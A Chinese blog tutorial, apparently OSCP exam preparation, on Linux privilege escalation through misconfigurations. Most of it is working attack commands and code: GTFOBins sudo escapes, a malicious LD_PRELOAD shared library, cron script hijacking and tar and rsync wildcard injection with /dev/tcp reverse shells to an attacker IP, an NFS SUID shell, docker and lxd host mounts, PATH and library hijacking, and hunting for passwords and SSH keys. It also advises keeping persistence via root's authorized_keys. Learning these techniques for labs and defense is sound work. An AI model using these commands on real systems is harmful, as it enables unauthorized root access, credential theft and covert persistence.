
上期我们把Linux提权的地基打好了——信息收集方法论、五大内核漏洞、SUID/SGID利用、Linux Capabilities。很多同学后台说照着跑了一遍,第一次用GTFOBins拿到了root,那个激动我隔着屏幕都能感觉到。
但紧跟着就有新问题了:"学长,sudo -l 输出了一堆东西,我只知道直接sudo su那种是送分题,遇到只能sudo某个特定命令的怎么办?""linPEAS提示了我有可写的cron脚本,但我不知道怎么劫持。""tar命令的通配符注入到底咋回事,看了几篇教程都没看懂。"
如果说上篇讲的是提权的"直拳"(正面硬刚内核漏洞和SUID),那这篇讲的就是提权的"柔术"——利用管理员配置上的微小疏忽,用巧劲把权限一步步撬开。 这些手法不需要exploit-db上的CVE编号,不需要编译exp,但恰恰因为隐蔽,经常被新手忽略。我在上百台靶机里验证过,下面每一个技术都是能直接落地的。

| Metasploit | ||
| 商业扫描器 |
如果说提权有一个"起手式",那一定是 sudo -l。上期讲了这是第一优先级命令,这期我们把它拆透——不只要知道能sudo什么,还要知道每一个能sudo的二进制背后藏着什么提权路径。

sudo -l
三种典型输出,三种处理方式:
场景一:送分题
User www-data may run the following commands on this host:
(ALL : ALL) ALL
(root) NOPASSWD: ALL
→ 直接 sudo su 或者 sudo -i,一步root。这种没啥好说的。
场景二:只能以root身份执行特定命令
User www-data may run the following commands on this host:
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/find
→ 这是OSCP考试里最常见的sudo提权场景。 任何能sudo的二进制,去GTFOBins查对应的sudo利用命令:
# vim 提权
sudo vim -c ':!/bin/sh'
# find 提权
sudo find . -exec /bin/sh \; -quit
# python 提权
sudo python -c 'import os; os.system("/bin/bash")'
# less/more 提权
sudo less /etc/passwd
# 进入less后输入:!/bin/bash
# awk 提权
sudo awk 'BEGIN {system("/bin/sh")}'
# nmap(需要旧版本有--interactive)
sudo nmap --interactive
# 进入交互模式后:!sh
场景三:sudo -l 需要密码→ 不是你忘了密码,是你还没拿到这个用户的密码。先去翻配置文件、bash_history(下面第四节会详细讲),密码可能就藏在某个地方。
有时候 sudo -l 的输出最后有这样一行:
env_keep+=LD_PRELOAD
这行字意味着一件事:你可以注入一个恶意共享库,让sudo在提权执行任何命令之前先加载你的代码。 这是提权成功率几乎100%的手法。
# 第一步:创建一个恶意共享库
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
# 第二步:编译
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# 第三步:用sudo跑任意一个你被允许的命令,挂上恶意库
sudo LD_PRELOAD=/tmp/shell.so apache2
# 或者换成任何sudo -l里列出的命令
# 执行后直接拿到root shell
原理:LD_PRELOAD是Linux的动态链接器环境变量,指定了在程序启动前强制加载的共享库。_init()函数会在main函数之前执行,里面的setuid(0)把进程UID改成root,system("/bin/bash")启动root shell。整个过程不需要漏洞,只是利用了管理员忘记屏蔽LD_PRELOAD这个环境变量。
❝这条手法在考试和实战中都极其有效。实战中很多运维为了方便调试,会保留LD_PRELOAD的传递权限——他们不知道这个环境变量的威力有多大。
Cron是Linux的定时任务调度器。root用户的定时任务天然以root权限运行——如果这些任务执行的脚本/二进制出现权限问题,你就可以劫持它。

cat /etc/crontab # 系统级定时任务
ls -la /etc/cron* # 所有cron相关目录
crontab -l # 当前用户的定时任务
ls -la /var/spool/cron/crontabs/ # 各用户的crontab文件
检查每一个定时任务调用的脚本:
# 假设你发现了一个root的cron任务:
# */5 * * * * root /opt/scripts/backup.sh
ls -la /opt/scripts/backup.sh
# 如果权限是 -rwxrwxrwx(所有人可写)→ 提权成功
# 修改脚本,加一行反弹shell
echo'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' >> /opt/scripts/backup.sh
# 等5分钟,cron执行,你收到root shell
有些cron任务你可能没法通过文件系统直接看到(权限不够),但pspy64可以通过监控进程列表来"偷看"。上一篇讲了基本用法,这篇展开实战场景:
# 在靶机/tmp部署pspy64
./pspy64
# 输出里关注以下模式:
# CMD: UID=0 PID=18473 | /bin/sh /root/secret_script.sh
# → UID=0表示这是root在跑
# → 去检查/root/secret_script.sh是否存在且可被你的用户访问
# CMD: UID=0 PID=18474 | tar -czf /backup/daily.tar.gz /var/www/
# → 注意这里写的是 tar 而不是 /usr/bin/tar(相对路径)!
# → 这说明可以劫持PATH变量,让root执行你伪造的tar
*就等于给了你提权通道这是Cron提权里最容易漏掉的手法。很多运维写的备份脚本长这样:
# root的cron任务脚本 backup.sh
#!/bin/bash
cd /var/www/uploads
tar -czf /backup/web_backup.tar.gz *
这行 tar ... * 看起来人畜无害,实际上 * 会被shell展开成当前目录下所有文件的文件名。如果目录里有一个文件叫 --checkpoint=1,tar会把它当作命令行参数而不是文件名来解析!
# 第一步:进入被压缩的目录
cd /var/www/uploads # 确认你的用户可以在这个目录里创建文件
# 第二步:创建恶意脚本
echo'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' > /tmp/rootshell.sh
chmod +x /tmp/rootshell.sh
# 第三步:创建触发文件(两个特殊文件名)
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=sh\ /tmp/rootshell.sh
# 第四步:等cron任务执行
# 当tar处理到目录里的文件时:
# tar看到 --checkpoint=1(每处理一个文件就触发checkpoint)
# tar看到 --checkpoint-action=exec=sh /tmp/rootshell.sh(checkpoint时执行脚本)
# → /tmp/rootshell.sh以root身份运行 → 反弹root shell!
rsync也有类似的通配符利用:
# 如果cron里是 rsync -a *.txt user@backup:/backup/
# 创建文件 "-e sh /tmp/rootshell.sh" 可以注入rsync的-e参数
touch -- '-e sh /tmp/rootshell.sh'
❝⚠️ 考试中注意:通配符注入的前提是这个目录你的用户能写——所以先确认
find / -writable -type d 2>/dev/null的输出里包含该目录。
管理员也是人,人就会偷懒。密码被写在配置文件、历史命令、备份文件里的概率比你想象的高得多。
# 看自己的历史
cat ~/.bash_history
# 看所有用户的历史(如果权限允许)
cat /home/*/.bash_history
cat /root/.bash_history
重点搜索模式:
# 找密码明文
grep -i "password" ~/.bash_history
grep -i "passwd" ~/.bash_history
grep -i "mysql" ~/.bash_history | grep -i "p"
# 找SSH连接记录(可能含用户名和密钥路径)
grep -i "ssh" ~/.bash_history
用户经常在命令行里直接输密码——比如 mysql -u root -pMyPassword123。这条命令会被完整记录在bash_history里,密码直接暴露。
# WordPress
cat /var/www/html/wp-config.php | grep DB_PASSWORD
# Joomla
cat /var/www/html/configuration.php | grep password
# Laravel
cat /var/www/html/.env | grep DB_PASSWORD
# 所有web目录下搜password关键词
grep -rn "password" /var/www/ 2>/dev/null
grep -rn "DB_PASS" /var/www/ 2>/dev/null
grep -rn "passwd" /etc/ 2>/dev/null
拿到数据库密码之后干什么? 试三件事:
su root 输入这个密码(管理员可能把root密码和数据库密码设成一样)su 其他用户名 输入这个密码(密码复用是人的天性)# 找所有私钥文件
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name id_ecdsa 2>/dev/null
find / -name id_ed25519 2>/dev/null
# 找authorized_keys(看哪些公钥被信任了)
find / -name authorized_keys 2>/dev/null
# 看私钥权限——如果644(所有人可读),你就能复制走
ls -la /home/*/.ssh/id_rsa
利用方式:
# 把私钥内容复制到攻击机的文件中
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@靶机IP
# 如果该私钥属于root且无密码保护——直接root登录
管理员做配置修改前经常备份,备份文件容易忘记删:
# 找备份文件
find / -name "*.bak" 2>/dev/null
find / -name "*.backup" 2>/dev/null
find / -name "*.old" 2>/dev/null
find / -name "*backup*" -type f 2>/dev/null
# 看日志文件有没有泄露凭证
find /var/log -type f -readable 2>/dev/null | xargs grep -l -i "password\|credential\|token\|secret"
NFS(Network File System)是Linux之间共享文件系统的协议。如果NFS服务器配置了no_root_squash,客户端机器上的root用户在挂载的共享目录里也保留root权限——这就是提权的入口。
# 在靶机上查NFS共享配置
cat /etc/exports
# 关键看这一行:
# /shared *(rw,no_root_squash)
# → /shared目录 NFS共享,允许任何IP挂载(rw),且客户端root权限保留(no_root_squash)
# 在攻击机上查目标开放了哪些NFS共享
showmount -e 靶机IP
# 第一步:在攻击机(root权限)上挂载共享
mkdir /tmp/nfs_mount
mount -t nfs 靶机IP:/shared /tmp/nfs_mount
# 第二步:创建一个SUID程序放在共享目录里
cat > /tmp/nfs_mount/rootshell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
# 第三步:编译并设置SUID位
gcc /tmp/nfs_mount/rootshell.c -o /tmp/nfs_mount/rootshell
chmod u+s /tmp/nfs_mount/rootshell
# 第四步:回到靶机上执行
/shared/rootshell
# whoami → root
为什么能成功? 因为在攻击机上你是root,通过NFS创建的文件的owner就是攻击机的root(UID=0)。no_root_squash没有把这个UID映射成nobody,所以在靶机看来,rootshell就是一个UID=0的用户创建的文件——靶机执行它的时候,以root身份运行。
如果你的用户属于docker组或lxd组,你可以利用容器的特权模式挂载宿主机文件系统。
# 检查自己是否在docker组
id
# 如果输出里有 (docker),恭喜你
# 一行命令把宿主机整个根目录挂载进容器
docker run -v /:/mnt -it alpine chroot /mnt sh
# 现在你就在宿主机的/目录下,并且是root
# whoami → root
# 检查是否在lxd组
id | grep lxd
# 如果有,创建一个特权容器挂载宿主机:
lxc init ubuntu:16.04 privesc -c security.privileged=true
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/bash
# 现在你在容器里,而/容器的/mnt/root就是宿主机的/
# cd /mnt/root && chroot . sh
# whoami → root
如果一个以root运行的脚本调用了没有写绝对路径的命令:
# 比如cron里root执行了:
# backup.sh 内容里有一行:cp /tmp/data.txt /backup/
# 注意,这里写的是 cp 不是 /usr/bin/cp
# 劫持方法:
echo'/bin/bash -p' > /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH
# 现在当root执行cp的时候,会先在/tmp找到你伪造的cp
# → 以root身份执行/bin/bash -p → root shell
程序运行时需要加载动态链接库(.so文件)。如果你的LD_LIBRARY_PATH能被root程序继承,可以伪造系统库:
# 找一个root SUID程序依赖的库
ldd /usr/local/bin/vulnerable_suid_program
# 假设输出显示依赖 libcustom.so
# 创建恶意版的libcustom.so
cat > /tmp/libcustom.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void custom_function() {
setuid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/libcustom.so /tmp/libcustom.c
# 设置LD_LIBRARY_PATH后运行SUID程序
LD_LIBRARY_PATH=/tmp /usr/local/bin/vulnerable_suid_program
# → 程序加载你伪造的库 → root shell
netstat -tuln输出里那些只监听在127.0.0.1的端口,往往被新手忽视。但实际上,这些服务可能是以root身份运行的,而且因为没有对外暴露,安全配置往往更宽松。
靶机上的浏览器不方便操作?用端口转发把内网服务映射到你的攻击机上:
# 方法一:SSH本地端口转发(如果靶机有ssh)
ssh -L 8080:127.0.0.1:8080 靶机用户@靶机IP
# 现在攻击机浏览器打开 http://localhost:8080 就是靶机内网的Jenkins
# 方法二:chisel端口转发
# 攻击机(服务端)
./chisel server -p 8000 --reverse
# 靶机(客户端)
./chisel client 攻击机IP:8000 R:8080:127.0.0.1:8080
# 方法三:ligolo-ng(新一代首选)
# 比chisel更稳定,创建tun接口让横向移动就像本地网络
❶ sudo -l输出里的LD_PRELOAD是送分题。 如果你看到了env_keep+=LD_PRELOAD而不知道怎么用——你错过了一个100%成功率且不需要任何漏洞的提权路径。用本文第三节的模板,5分钟root。
❷ 密码不是只在一个地方出现。 在配置文件里找到数据库密码之后,记得去试su、去试SSH、去试sudo。密码复用是管理员最常见的坏习惯——一次找到密码,可能打通三台机器。
❸ 通配符注入不是只有tar。 rsync、zip、7z等大量命令都接受--开头的命令行参数。考试和CTF里最经典的是tar,但实战里任何用到*且有特权执行的命令行工具都可能是突破口。
❹ 拿到root之后先做权限维持。 在考试里,不只要拿到root,还要保证万无一失能恢复访问。把公钥加到/root/.ssh/authorized_keys是一个几乎不会被发现、且稳定可靠的方式。
❺ 内网服务值得花时间探测。 netstat/ss的输出别一扫而过——127.0.0.1上跑了什么服务,比你想象的重要。尤其是MySQL和Redis,root无密码的情况在靶场和开发环境里都太常见了。
❻ 你不需要记住所有利用命令。 GTFOBins的存在就是为了让你不用背。你需要记住的是"这个二进制可能有利用价值,我去查一下"——而不是利用命令本身。
上篇和下篇合在一起,从信息收集到内核漏洞,从SUID到Cron劫持,从密码狩猎到通配符注入——这就是我在OSCP考试和上百台靶机里验证过的Linux提权完整方法论。
记住那句话:提权不是玄学,是系统管理员一定在某个地方犯了一个错。你的任务就是找到它。
下一篇我们进入Windows权限提升——服务权限配置错误、令牌窃取、UAC绕过、计划任务劫持,全是AD域环境里最核心的提权手法。
如果觉得有收获,点个"在看"并星标我,别错过更新。
评论区可以留你在提权上碰到的最离谱的密码泄露场景——我见过最夸张的是/var/www/html/backup.zip里解压出一个passwords.txt,里面写了三台服务器的root密码,全是明文。
我们下期见!